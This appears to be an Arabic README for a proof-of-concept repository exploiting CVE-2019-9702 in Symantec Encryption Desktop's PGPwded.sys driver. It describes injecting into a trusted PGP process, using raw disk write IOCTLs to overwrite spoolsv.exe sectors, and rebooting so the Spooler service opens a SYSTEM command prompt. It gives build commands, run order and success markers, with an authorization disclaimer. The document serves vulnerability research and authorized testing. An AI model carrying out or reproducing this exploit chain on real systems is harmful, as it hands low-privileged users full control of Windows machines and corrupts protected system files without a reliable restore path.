
إثبات مفهوم (PoC) لتصعيد الصلاحيات محليًا لفتح قشرة SYSTEM لثغرة CVE-2019-9702 في برنامج Symantec Encryption Desktop.
PGPwded.sys إثبات مفهوم لتصعيد الامتيازات المحليةيحتوي هذا المستودع على إثبات مفهوم لمسار تصعيد امتيازات محلي في عامل تصفية التخزين PGPwded.sys في Symantec Encryption Desktop، استنادًا إلى بدائية قراءة/كتابة خام للقرص بصلاحيات منخفضة.
تم تطوير هذا الإثبات واختباره مع Symantec Encryption Desktop Pro 10.4.2 MP3. لم تُختبر الإصدارات الأخرى مع هذا التنفيذ.
استُلهم العمل من البحث العام الأصلي الذي نشره Kyriakos Economou / Nettitude، المعروفة الآن باسم LRQA Nettitude، ويستند إليه:
تصف مقالتهم فحص الوصول إلى جهاز PGPwded.sys، وفكرة حقن عملية PGP الموثوقة، وIOCTLs القراءة/الكتابة الخام، وأساليب الاستغلال القائمة على NTFS. يركز هذا الإثبات على متغير إعادة الكتابة فوق ملف خدمة عبر إعادة التشغيل، ويتضمن أداة فحص مسبق للقراءة فقط.
src/
sym_portable_launcher.c # single-EXE launcher; embeds and drops the staging worker
portable_stage_worker.c # injected worker; maps C:, opens PGPwded, stages payload
spooler_payload.c # service payload run by Spooler as LocalSystem after reboot
sym_portable_precheck.c # single-EXE read-only precheck launcher
precheck_worker.c # injected read-only diagnostic worker
*_bytes.h # generated embedded payload/worker byte arrays
tools/
sym_target_diag_lite.cmd # wrapper script for collecting target diagnostics
استغلال مرحلة إعادة التشغيل هو ملف تنفيذي واحد بحجم 32 بت لنظام Windows يتم إسقاطه على النظام. على مستوى عالٍ:
C:\Users\Public.%TEMP%.\\.\PGPwdef من داخل مسار صورة عملية PGP الموثوقة.C:\Windows\System32\spoolsv.exe بامتداده NTFS ويحسب قطاع القرص الداعم له.\Device\000000xx يرتبط بقطاع C: هذا باستخدام IOCTL القراءة الخام.C:\Users\Public\spoolsv.exe.orig.portable.spoolsv.exe بحمولة خدمة LocalSystem مضمّنة.يتبع الفحص المسبق للقراءة فقط نفس مسار العملية الموثوقة، لكنه يستخدم فقط IOCTL القراءة الخام. وهو لا يكتب فوق الملفات ولا يجهّز مراحل الاستغلال.
ابنِ من مضيف Linux مثبّت عليه MinGW-w64:
make
النواتج المتوقعة:
bin/sym_portable_reboot_stage32.exe # exploit/stager
bin/sym_portable_precheck32.exe # read-only precheck
شغّل الفحص المسبق أولًا. وهو مصمّم للإجابة عما إذا كانت شروط الاستغلال الحالية متوفرة دون تعديل الملفات المحمية.
C:\Users\Public\sym_portable_precheck32.exe
notepad C:\Users\Public\sym_portable_precheck.log
يجب أن ينتهي الهدف القابل للاستغلال بالشكل التالي:
[OK] current reboot exploit conditions
إذا أظهر السجل عدم وجود PDOs خاصة بـ PGP قابلة للقراءة، أو عدم تطابق لقطاع C:، فلا تشغّل الاستغلال. ويعني ذلك عادةً أن قرص نظام التشغيل غير مُدار أو مُجهّز بـ Symantec WDE.
للحصول على تقرير أوفى عن الهدف، انسخ الملفين أدناه إلى الدليل نفسه وشغّل غلاف CMD:
sym_target_diag_lite.cmd
sym_portable_precheck32.exe
ثم شغّل:
C:\Users\Public\sym_target_diag_lite.cmd
notepad C:\Users\Public\sym_target_diag_lite.log
لا تشغّل الاستغلال إلا على الأنظمة التي لديك إذن بتعديل ملفات النظام المحمية فيها والتي اجتاز الفحص المسبق.
انسخ أداة التجهيز إلى مسار قابل للكتابة وشغّلها كمستخدم منخفض الصلاحيات:
C:\Users\Public\sym_portable_reboot_stage32.exe
افحص سجلات التجهيز:
type C:\Users\Public\sym_portable_launcher.log
type C:\Users\Public\sym_portable_stage.log
إذا نجح التجهيز، يحتوي سجل العامل على:
STAGED_OK_REBOOT_TO_TRIGGER
أعد تشغيل الجهاز. بعد إعادة التشغيل، يجب أن تبدأ خدمة Spooler الحمولة كـ LocalSystem وتفتح موجه أوامر بعنوان:
SYSTEM_CMD_FROM_PORTABLE_REBOOT_LPE
تنشئ أداة التجهيز هذا النسخ الاحتياطي قبل الكتابة فوق الهدف:
C:\Users\Public\spoolsv.exe.orig.portable
لا تتضمن طريقة استعادة عامة بنقرة واحدة. في الاختبارات، تمت الاستعادة بالكتابة الخام للنسخ الاحتياطي فوق القطاعات المرتبطة نفسها ثم إعادة التشغيل. ينبغي إضافة تدفّق استعادة آمن والتحقق منه قبل نشر الملفات الثنائية.
C:\Windows\System32\spoolsv.exe.PGPwded.sys؛ إذ إن تثبيت Symantec وحده لا يكفي.هذا كود بحثي للاختبار المصرّح به والتحقق الدفاعي. لا تشغّله على أنظمة لا تملكها أو ليس لديك إذن صريح بتقييمها.